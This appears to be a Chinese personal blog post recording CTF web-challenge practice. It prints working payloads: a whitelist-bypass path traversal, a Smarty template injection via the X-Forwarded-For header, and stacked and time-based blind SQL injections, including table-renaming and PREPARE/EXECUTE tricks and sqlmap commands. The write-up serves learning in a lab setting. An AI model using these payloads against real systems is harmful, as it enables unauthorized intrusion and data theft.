刷题记录

为了备战校赛work一下(

WEEK1

[HCTF]warmup

F12查看发现source.php源码访问hint.php可以发现

flag not here, and flag in ffffllllaaaagggg

代码审计环节,接受file参数

1
include $_REQUEST['file']

可以看到白名单只有
$whitelist = ["source" => "source.php", "hint" => "hint.php"];
但是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$_page = mb_substr(

$page,

0,

mb_strpos($page . '?', '?')

);

if (in_array($_page, $whitelist)) {

return true;

}

截断绕过白名单
payload:
?file=source.php?/../../../../ffffllllaaaagggg
因为不知道flag的具体位置所以目录穿越

[BJDCTF 2020]The mystery of ip

查看flag.php,给了一个ip。
yakit抓包更改X-Forwarded-For,有回显,ssti注入执行

执行

这是个php的模板引擎注入,使用smarty模板

1
$smarty->display("string:" . $_SERVER['HTTP_X_FORWARDED_FOR']);

所以可以用类似于php标签的形式完成注入。
{if phpinfo()}{/if}

[极客大挑战 2019] Havefun

F12看注释改参数cat=dog即可

[SUCTF 2019] EasySQL

输入数字回显全为1,其他也过滤为nonono
参考其他师傅的wp,推测后端代码为

1
SELECT $_POST['query'] || flag FROM flag;

version 1

1
2
SELECT $_POST['query'] || flag FROM flag;
SELECT *,1 || flag FROM flag;

在 SQL(结构化查询语言)中,星号(*)是一个通配符,用于表示“所有列”。这是 SQL 标准的一部分,被所有主流关系型数据库(如 MySQL、PostgreSQL、Oracle、SQL Server 等)广泛支持。
所以这里的*会选取flag表中的所有列,同时1||flag作为一个表达式列。由于*已经包含了flag列,查询结果会直接显示flag字段的内容。因此,输入*,1即可得到flag。

version2

堆叠注入

1
2
3
1;show databases;
SELECT 1;show tables; || flag FROM flag;
即为select 1 from flag; show tables;

将管道符改为连接符

1
1;set sql_mode=PIPES_AS_CONCAT;select 1

执行三条语句即可

[强网杯 2019] 随便注

终于碰见一个可以用梭的题了吗?

1
2
sqlmap -u "http://44524922-0607-48cd-9a54-f64716701b2d.node5.buuoj.cn:81/?inject=1" --batch
sqlmap -u "http://44524922-0607-48cd-9a54-f64716701b2d.node5.buuoj.cn:81/?inject=1" --dbs --batch

并非,只能梭出来supersqli数据库,但是库里没表,感觉被骗了(
实际使用堆叠注入发现不止这个库,然后查查表

1
2
3
4
1';show databases;#
1';show tables;#
1'; show columns from `1919810931114514`;#//数字要包裹
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;(预编译指令实现读取flag列)

也可以通过更改表名获取flag

1
2
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
1' or 1 = 1 #

感谢参考师傅

1
https://zhuanlan.zhihu.com/p/545713669

[CISCN 2019 华北赛区 Day2 Web1] Hack World

fuzz测试可以sleep(5)有回显,时间盲注
基于用ascii码计算单个字符的范围限定实现注入。

1
(ascii(substr((select(flag)from(flag)),1,1))>32)

写个盲注的脚本就可以注出来了(

reflection

  1. 打了几个sql注入,最大的感受是sqlmap作为一个梭不能很好地发挥作用,实际还是要手动测试才能实现注入(也有可能是我不会用吧😭
  2. 代码审计也是很久没看了,但是白盒且短篇幅的审计还是比较好构造的
  3. php的模板注入还是第一次见,之前都打的是python的模板注入

刷题记录
https://b1ank799.github.io/2026/03/13/刷题记录/
Author
blank
Posted on
March 13, 2026
Licensed under